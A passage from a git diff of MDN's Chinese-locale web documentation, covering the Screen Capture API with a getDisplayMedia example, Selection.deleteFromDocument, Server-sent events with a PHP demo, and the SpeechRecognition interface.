A user agent might allow the capture of the entire content of an obscured window after gaining permission from the user to do so. In this case, the user agent may include the obscured content, either by getting the current contents of the hidden portion of the window or by presenting the most-recently-visible contents if the current contents are not available.

- -

Options and constraints

- -

The constraints object passed into {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is a {{domxref("DisplayMediaStreamConstraints")}} object which is used to configuring the resulting stream.

- -
-

Note: Unlike most uses of constraints in media APIs, here it's solely used to define the stream configuration, and not to filter the available choices.

-
- -

There are three new constraints added to MediaTrackConstraints (as well as to {{domxref("MediaTrackSupportedConstraints")}} and {{domxref("MediaTrackSettings")}}) for configuring a screen capture stream:

- -
-
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
-
-

Indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion. The possible values are:

- -
-
always
-
The mouse cursor should always be captured in the generated stream.
-
motion
-
The cursor should only be visible while moving, and, at the discretion of the {{Glossary("user agent")}}, for a brief time before after moving. Then the cursor is removed from the stream.
-
never
-
The cursor should never be visible in the generated stream.
-
-
-
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
-
A Boolean which if true indicates that the capture should include offscreen areas of the source, if there are any.
-
- -

None of the constraints are applied in any way until after the content to capture has been selected. The contraints alter what you see in the resulting stream.

- -

For example, if you specify a {{domxref("MediaTrackConstraints.width", "width")}} constraint for the video, it's applied by scaling the video after the user selects the area to share. It doesn't establish a restriction on the size of the source itself.

- -
-

Note: Constraints never cause changes to the list of sources available for capture by the Screen Sharing API. This ensures that web applications can't force the user to share specific content by restricting the source list until only one item is left.

-
- -

While display capture is in effect, the machine which is sharing screen contents will display some form of indicator so the user is aware that sharing is taking place.

- -
-

Note: For privacy and security reasons, screen sharing sources are not enumerable using {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. Related to this, the {{event("devicechange")}} event is never sent when there are changes to the sources available for getDisplayMedia().

-
- -

Capturing shared audio

- -

{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is most commonly used to capture video of a user's screen (or parts thereof). However, {{Glossary("user agent", "user agents")}} may allow the capture of audio along with the video content. The source of this audio might be the selected window, the entire computer's audio system, or the user's microphone (or a combination of all of the above).

- -

Before starting a project that will require sharing of audio, be sure to check the {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} to see if the browsers you wish compaibility with have support for audio in captured screen streams.

- -

To request that the screen be shared with included audio, the options passed into getDisplayMedia() might look like this:

- -
const gdmOptions = {
-  video: true,
-  audio: true
-}
-
- -

This allows the user total freedom to select whatever they want, within the limits of what the user agent supports. This could be refined further by specifying additional information for each of audio and video:

- -
const gdmOptions = {
-  video: {
-    cursor: "always"
-  },
-  audio: {
-    echoCancellation: true,
-    noiseSuppression: true,
-    sampleRate: 44100
-  }
-}
-
- -

In this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1kHz.

- -

Capturing audio is always optional, and even when web content requests a stream with both audio and video, the returned {{domxref("MediaStream")}} may still have only one video track, with no audio.

- -
-

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

-
- -

使用捕获的数据流

- -

The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getDisplayMedia() was called.

- -

安全

- -

As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.

- -

潜在的风险

- -

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

- -

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

- -

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

- -

Authorizing capture of display contents

- -

Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.

-
-
- -

示例

- -

Simple screen capture

- -

In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.

- -

JavaScript

- -

There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.

- -
Setup
- -

First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

- -

The object displayMediaOptions contains the {{domxref("MediaStreamConstraints")}} to pass into getDisplayMedia(); here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to always, indicating that the mouse cursor should always be included in the captured media.

- -
-

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

-
- -

Finally, event listeners are established to detect user clicks on the start and stop buttons.

- -
const videoElem = document.getElementById("video");
-const logElem = document.getElementById("log");
-const startElem = document.getElementById("start");
-const stopElem = document.getElementById("stop");
-
-// Options for getDisplayMedia()
-
-var displayMediaOptions = {
-  video: {
-    cursor: "always"
-  },
-  audio: false
-};
-
-// Set event listeners for the start and stop buttons
-startElem.addEventListener("click", function(evt) {
-  startCapture();
-}, false);
-
-stopElem.addEventListener("click", function(evt) {
-  stopCapture();
-}, false);
- -
Logging content
- -

To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is log.

- -
console.log = msg => logElem.innerHTML += `${msg}<br>`;
-console.error = msg => logElem.innerHTML += `<span class="error">${msg}</span><br>`;
-console.warn = msg => logElem.innerHTML += `<span class="warn">${msg}<span><br>`;
-console.info = msg => logElem.innerHTML += `<span class="info">${msg}</span><br>`;
- -

This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.

- -
Starting display capture
- -

The startCapture() method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. startCapture() is called when the "Start Capture" button is clicked.

- -
async function startCapture() {
-  logElem.innerHTML = "";
-
-  try {
-    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
-    dumpOptionsInfo();
-  } catch(err) {
-    console.error("Error: " + err);
-  }
-}
- -

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, startCapture() calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by displayMediaOptions. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by getDisplayMedia() resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.

- -

The stream is connected to the {{HTMLElement("video")}} element by storing the returned MediaStream into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.

- -

The dumpOptionsInfo() function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

- -

If any of that fails, the catch() clause outputs an error message to the log box.

- -
Stopping display capture
- -

The stopCapture() method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, srcObject is set to null to make sure it's understood by anyone interested that there's no stream connected.

- -
function stopCapture(evt) {
-  let tracks = videoElem.srcObject.getTracks();
-
-  tracks.forEach(track => track.stop());
-  videoElem.srcObject = null;
-}
- -
Dumping configuration information
- -

For informational purposes, the startCapture() method shown above calls a method named dumpOptions(), which outputs the current track settings as well as the constraints that were placed upon the stream when it was created.

- -
function dumpOptionsInfo() {
-  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
-
-  console.info("Track settings:");
-  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
-  console.info("Track constraints:");
-  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
-}
- -

The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currently in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}

- -

HTML

- -

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

- -
    -
- -
<p>This example shows you the contents of the selected part of your display.
-Click the Start Capture button to begin.</p>
-
-<p><button id="start">Start Capture</button>&nbsp;<button id="stop">Stop Capture</button></p>
-
-<video id="video" autoplay></video>
-<br>
-
-<strong>Log:</strong>
-<br>
-<pre id="log"></pre>
- -

The key parts of the HTML are:

- -
    -
  1. A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the startCapture() function to request access to, and begin capturing, screen contents.
  2. -
  3. A second button, "Stop Capture", which upon being clicked calls stopCapture() to terminate capture of screen contents.
  4. -
  5. A {{HTMLElement("video")}} into which the captured screen contents are streamed.
  6. -
  7. A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.
  8. -
- -

CSS

- -

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (width: 98%). {{cssxref("max-width")}} is set to 860px to set an absolute upper limit on the video's size,

- -

The error, warn, and info classes are used to style the corresponding console output types.

- -
#video {
-  border: 1px solid #999;
-  width: 98%;
-  max-width: 860px;
-}
-
-.error {
-  color: red;
-}
-
-.warn {
-  color: orange;
-}
-
-.info {
-  color: darkgreen;
-}
- -

Result

- -

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.

- -

{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}

- -

安全

- -

In order to function when Feature Policy is enabled, you will need the display-capture permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <iframe> element's {{htmlattrxref("allow", "iframe")}} attribute.

- -

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:

- -
Feature-Policy: display-capture 'self'
- -

If you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

- -
<iframe src="https://mycode.example.net/etc" allow="display-capture">
-</iframe>
-
- -

相关链接

- - -
diff --git a/files/zh-cn/web/api/selection/deletefromdocument/index.html b/files/zh-cn/web/api/selection/deletefromdocument/index.html new file mode 100644 index 0000000000..5532bcf0fc --- /dev/null +++ b/files/zh-cn/web/api/selection/deletefromdocument/index.html @@ -0,0 +1,107 @@ +--- +title: Selection.deleteFromDocument() +slug: Web/API/Selection/从Document中删除 +translation_of: Web/API/Selection/deleteFromDocument +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +
+

The Selection.deleteFromDocument() method deletes the actual text being represented by a selection object from the document's DOM.

+
+ +

Syntax

+ +
sel.deleteFromDocument()
+
+ +

Parameters

+ +

None.

+ +

Examples

+ +

A user selects the (imaginary) text "ve two ea" from "Rabbits have two ears." on a web page. The user then clicks a button that executes the JavaScript snippet window.getSelection().deleteFromDocument(). The document's text becomes "Rabbits hars."

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-deletefromdocument', 'Selection.deleteFromDocument()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-deleteFromDocument-void', 'Selection.deleteFromDocument()')}}{{Spec2('Selection API')}}Current
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ +
    +
  • {{domxref("Selection")}}, the interface it belongs to.
  • +
diff --git "a/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" "b/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" deleted file mode 100644 index 5532bcf0fc..0000000000 --- "a/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Selection.deleteFromDocument() -slug: Web/API/Selection/从Document中删除 -translation_of: Web/API/Selection/deleteFromDocument ---- -
-
-
{{ ApiRef("DOM") }}{{SeeCompatTable}}
-
-
- -
-

The Selection.deleteFromDocument() method deletes the actual text being represented by a selection object from the document's DOM.

-
- -

Syntax

- -
sel.deleteFromDocument()
-
- -

Parameters

- -

None.

- -

Examples

- -

A user selects the (imaginary) text "ve two ea" from "Rabbits have two ears." on a web page. The user then clicks a button that executes the JavaScript snippet window.getSelection().deleteFromDocument(). The document's text becomes "Rabbits hars."

- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-deletefromdocument', 'Selection.deleteFromDocument()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-deleteFromDocument-void', 'Selection.deleteFromDocument()')}}{{Spec2('Selection API')}}Current
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

See also

- -
    -
  • {{domxref("Selection")}}, the interface it belongs to.
  • -
diff --git a/files/zh-cn/web/api/server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/index.html new file mode 100644 index 0000000000..4a9d6e0630 --- /dev/null +++ b/files/zh-cn/web/api/server-sent_events/index.html @@ -0,0 +1,77 @@ +--- +title: Server-sent events +slug: Server-sent_events +tags: + - API + - NeedsTranslation + - Server-sent events + - TopicStub +translation_of: Web/API/Server-sent_events +--- +
{{DefaultAPISidebar("Server Sent Events")}}
+ +

一个网页获取新的数据通常需要发送一个请求到服务器,也就是向服务器请求的页面。使用 server-sent 事件,服务器可以在任何时刻向我们的 Web 页面推送数据和信息。这些被推送进来的信息可以在这个页面上作为 Events + data 的形式来处理。

+ +

概念与使用

+ +

可以前往我们这篇文章 《使用 “server-sent events”》 学习怎么使用 server-sent events。

+ +

接口

+ +
+
{{domxref("EventSource")}}
+
Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc.
+
+ +

示例

+ + + +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}{{Spec2('HTML WHATWG')}}
+ +

参见

+ +

Tools

+ + + +

相关话题

+ + + +

其他资源

+ + diff --git a/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html new file mode 100644 index 0000000000..505ec19a76 --- /dev/null +++ b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html @@ -0,0 +1,190 @@ +--- +title: 使用服务器发送事件 +slug: Server-sent_events/Using_server-sent_events +tags: + - Advanced + - DOM + - Guide + - SSE + - Server Sent Events + - messaging + - 服务器发送事件 + - 通信 +translation_of: Web/API/Server-sent_events/Using_server-sent_events +--- +

{{DefaultAPISidebar("Server Sent Events")}}

+ +

开发一个使用服务器发送的事件的Web应用程序是很容易的。你需要在服务器上的一些代码将事件流传输到Web应用程序,但Web应用程序端的事情几乎完全相同,处理任何其他类型的事件。

+ +

在Web应用程序中使用服务器发送事件很简单.在服务器端,只需要按照一定的格式返回事件流,在客户端中,只需要为一些事件类型绑定监听函数,和处理其他普通的事件没多大区别.

+ +

从服务器接受事件

+ +

服务器发送事件API也就是EventSource接口,在你创建一个新的EventSource对象的同时,你可以指定一个接受事件的URI.例如:

+ +
const evtSource = new EventSource("ssedemo.php");
+
+ +
注:从Firefox 11开始,EventSource开始支持CORS.虽然该特性目前并不是标准,但很快会成为标准.
+ +

如果发送事件的脚本不同源,应该创建一个新的包含URL和options参数的EventSource对象。例如,假设客户端脚本在example.com上:

+ +
const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } );
+ +

一旦你成功初始化了一个事件源,就可以对 {{event("message")}} 事件添加一个处理函数开始监听从服务器发出的消息了:

+ +
evtSource.onmessage = function(event) {
+  const newElement = document.createElement("li");
+  const eventList = document.getElementById("list");
+
+  newElement.innerHTML = "message: " + event.data;
+  eventList.appendChild(newElement);
+}
+ +

上面的代码监听了那些从服务器发送来的所有没有指定事件类型的消息(没有event字段的消息),然后把消息内容显示在页面文档中.

+ +

你也可以使用addEventListener()方法来监听其他类型的事件:

+ +
evtSource.addEventListener("ping", function(event) {
+  const newElement = document.createElement("li");
+  const time = JSON.parse(event.data).time;
+  newElement.innerHTML = "ping at " + time;
+  eventList.appendChild(newElement);
+});
+ +

这段代码也类似,只是只有在服务器发送的消息中包含一个值为"ping"的event字段的时候才会触发对应的处理函数,也就是将data字段的字段值解析为JSON数据,然后在页面上显示出所需要的内容.

+ +
+

不通过HTTP / 2使用时,SSE(server-sent events)会受到最大连接数的限制,这在打开各种选项卡时特别麻烦,因为该限制是针对每个浏览器的,并且被设置为一个非常低的数字(6)。该问题在 Chrome 和 Firefox中被标记为“无法解决”。此限制是针对每个浏览器+域的,因此这意味着您可以跨所有选项卡打开6个SSE连接到www.example1.com,并打开6个SSE连接到www.example2.com。 (来自 Stackoverflow)。使用HTTP / 2时,HTTP同一时间内的最大连接数由服务器和客户端之间协商(默认为100)。

+
+ +

服务器端如何发送事件流

+ +

服务器端发送的响应内容应该使用值为text/event-stream的MIME类型.每个通知以文本块形式发送,并以一对换行符结尾。有关事件流的格式的详细信息,请参见{{ anch("Event stream format") }}。

+ +

演示的{{Glossary("PHP")}}代码如下:

+ +
date_default_timezone_set("America/New_York");
+header("Cache-Control: no-cache");
+header("Content-Type: text/event-stream");
+
+$counter = rand(1, 10);
+while (true) {
+  // Every second, send a "ping" event.
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  echo "\n\n";
+
+  // Send a simple message at random intervals.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_end_flush();
+  flush();
+  sleep(1);
+}
+ +

上面的代码会让服务器每隔一秒生成一个事件流并返回,其中每条消息的事件类型为"ping",数据字段都使用了JSON格式,数组字段中包含了每个事件流生成时的 ISO 8601 时间戳.而且会随机返回一些无事件类型的消息.

+ +
+

: 您可以在github上找到以上代码的完整示例—参见Simple SSE demo using PHP.

+
+ +

错误处理

+ +

当发生错误(例如请求超时或与HTTP访问控制(CORS)有关的问题), 会生成一个错误事件. 您可以通过在EventSource对象上使用onerror回调来对此采取措施:

+ +
evtSource.onerror = function(err) {
+  console.error("EventSource failed:", err);
+};
+ +

关闭事件流

+ +

默认情况下,如果客户端和服务器之间的连接关闭,则连接将重新启动。可以使用.close()方法终止连接。

+ +
evtSource.close();
+ +

事件流格式

+ +

事件流仅仅是一个简单的文本数据流,文本应该使用 UTF-8 格式的编码.每条消息后面都由一个空行作为分隔符.以冒号开头的行为注释行,会被忽略.

+ +
注:注释行可以用来防止连接超时,服务器可以定期发送一条消息注释行,以保持连接不断.
+ +

每条消息是由多个字段组成的,每个字段由字段名,一个冒号,以及字段值组成.

+ +

字段

+ +

规范中规定了下面这些字段:

+ +
+
event
+
事件类型.如果指定了该字段,则在客户端接收到该条消息时,会在当前的EventSource对象上触发一个事件,事件类型就是该字段的字段值,你可以使用addEventListener()方法在当前EventSource对象上监听任意类型的命名事件,如果该条消息没有event字段,则会触发onmessage属性上的事件处理函数.
+
data
+
消息的数据字段.如果该条消息包含多个data字段,则客户端会用换行符把它们连接成一个字符串来作为字段值.
+
id
+
事件ID,会成为当前EventSource对象的内部属性"最后一个事件ID"的属性值.
+
retry
+
一个整数值,指定了重新连接的时间(单位为毫秒),如果该字段值不是整数,则会被忽略.
+
+ +

除了上面规定的字段名,其他所有的字段名都会被忽略.

+ +
注: 如果一行文本中不包含冒号,则整行文本会被解析成为字段名,其字段值为空.
+ +

例子

+ +

未命名事件

+ +

下面的例子中发送了三条消息,第一条仅仅是个注释,因为它以冒号开头.第二条消息只包含了一个data字段,值为"some text".第三条消息包含的两个data字段会被解析成为一个字段,值为"another message\nwith two lines".其中每两条消息之间是以一个空行为分割符的.

+ +
: this is a test stream
+
+data: some text
+
+data: another message
+data: with two lines
+
+ +

命名事件

+ +

下面的事件流中包含了一些命名事件.每个事件的类型都是由event字段指定的,另外每个data字段的值可以使用JSON格式,当然也可以不是.

+ +
event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+
+ +

混合两种事件

+ +

你可以在一个事件流中同时使用命名事件和未命名事件.

+ +
event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Here's a system message of some kind that will get used
+data: to accomplish some task.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventSource")}}

diff --git a/files/zh-cn/web/api/slotable/index.html b/files/zh-cn/web/api/slotable/index.html deleted file mode 100644 index 2a489d3b22..0000000000 --- a/files/zh-cn/web/api/slotable/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Slotable -slug: Web/API/Slotable -tags: - - API - - Web Components - - 参考 - - 接口 -translation_of: Web/API/Slottable -translation_of_original: Web/API/Slotable ---- -

{{APIRef("Shadow DOM")}}

- -

Slotable mixin 定义了允许节点成为 {{htmlelement("slot")}} 元素的内容的特性——下面的特性被包含在 {{domxref("Element")}} 和 {{domxref("Text")}} API 之中。

- -

属性

- -
-
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
-
返回节点所插入的 {{htmlelement("slot")}} 元素。
-
- -

方法

- -

无。

- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('DOM WHATWG','#slotable','Slotable')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("api.Slotable")}}

diff --git a/files/zh-cn/web/api/speechrecognition/index.html b/files/zh-cn/web/api/speechrecognition/index.html new file mode 100644 index 0000000000..83e11e69e4 --- /dev/null +++ b/files/zh-cn/web/api/speechrecognition/index.html @@ -0,0 +1,153 @@ +--- +title: 语音识别 +slug: Web/API/语音识别 +translation_of: Web/API/SpeechRecognition +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

The SpeechRecognition interface of the Web Speech API is the controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.

+ +
+

Note: On Chrome, using Speech Recognition on a web page involves a server-based recognition engine. Your audio is sent to a web service for recognition processing, so it won't work offline.

+
+ +

Constructor

+ +
+
{{domxref("SpeechRecognition.SpeechRecognition()")}}
+
Creates a new SpeechRecognition object.
+
+ +

Properties

+ +

SpeechRecognition also inherits properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.grammars")}}
+
Returns and sets a collection of {{domxref("SpeechGrammar")}} objects that represent the grammars that will be understood by the current SpeechRecognition.
+
{{domxref("SpeechRecognition.lang")}}
+
Returns and sets the language of the current SpeechRecognition. If not specified, this defaults to the HTML {{htmlattrxref("lang","html")}} attribute value, or the user agent's language setting if that isn't set either.
+
{{domxref("SpeechRecognition.continuous")}}
+
Controls whether continuous results are returned for each recognition, or only a single result. Defaults to single (false.)
+
{{domxref("SpeechRecognition.interimResults")}}
+
Controls whether interim results should be returned (true) or not (false.) Interim results are results that are not yet final (e.g. the {{domxref("SpeechRecognitionResult.isFinal")}} property is false.)
+
{{domxref("SpeechRecognition.maxAlternatives")}}
+
Sets the maximum number of {{domxref("SpeechRecognitionAlternative")}}s provided per result. The default value is 1.
+
{{domxref("SpeechRecognition.serviceURI")}}
+
Specifies the location of the speech recognition service used by the current SpeechRecognition to handle the actual recognition. The default is the user agent's default speech service.
+
+ +
+
+ +

Methods

+ +

SpeechRecognition also inherits methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.abort()")}}
+
Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.
+
{{domxref("SpeechRecognition.start()")}}
+
Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
+
{{domxref("SpeechRecognition.stop()")}}
+
Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
audiostart
+
Fired when the user agent has started to capture audio.
+ Also available via the onaudiostart property.
+
audioend
+
Fired when the user agent has finished capturing audio.
+ Also available via the onaudioend property.
+
end
+
Fired when the speech recognition service has disconnected.
+ Also available via the onend property.
+
error
+
Fired when a speech recognition error occurs.
+ Also available via the onerror property.
+
nomatch
+
Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.
+ Also available via the onnomatch property.
+
result
+
Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
+ Also available via the onresult property.
+
soundstart
+
Fired when any sound — recognisable speech or not — has been detected.
+ Also available via the onsoundstart property.
+
soundend
+
Fired when any sound — recognisable speech or not — has stopped being detected.
+ Also available via the onsoundend property.
+
speechstart
+
Fired when sound that is recognised by the speech recognition service as speech has been detected.
+ Also available via the onspeechstart property.
+
speechend
+
Fired when speech recognised by the speech recognition service has stopped being detected.
+ Also available via the onspeechend property.
+
start
+
Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
+ Also available via the onstart property.
+
+ +

Examples

+ +

In our simple Speech color changer example, we create a new SpeechRecognition object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the SpeechRecognition instance using the {{domxref("SpeechRecognition.grammars")}} property.

+ +

After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color;
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.SpeechRecognition")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/speechrecognition/result_event/index.html b/files/zh-cn/web/api/speechrecognition/result_event/index.html new file mode 100644 index 0000000000..d6415441f3 --- /dev/null +++ b/files/zh-cn/web/api/speechrecognition/result_event/index.html @@ -0,0 +1,83 @@ +--- +title: 'SpeechRecognition: result event' +slug: Web/API/语音识别/result_event +translation_of: Web/API/SpeechRecognition/result_event +--- +
{{APIRef("Web Speech API")}} {{SeeCompatTable}}
+ +

The result event of the Web Speech API is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("SpeechRecognitionEvent")}}
Event handler propertyonresult
+ +

Examples

+ +

This code is excerpted from our Speech color changer example.

+ +

You can use the result event in an addEventListener method:

+ +
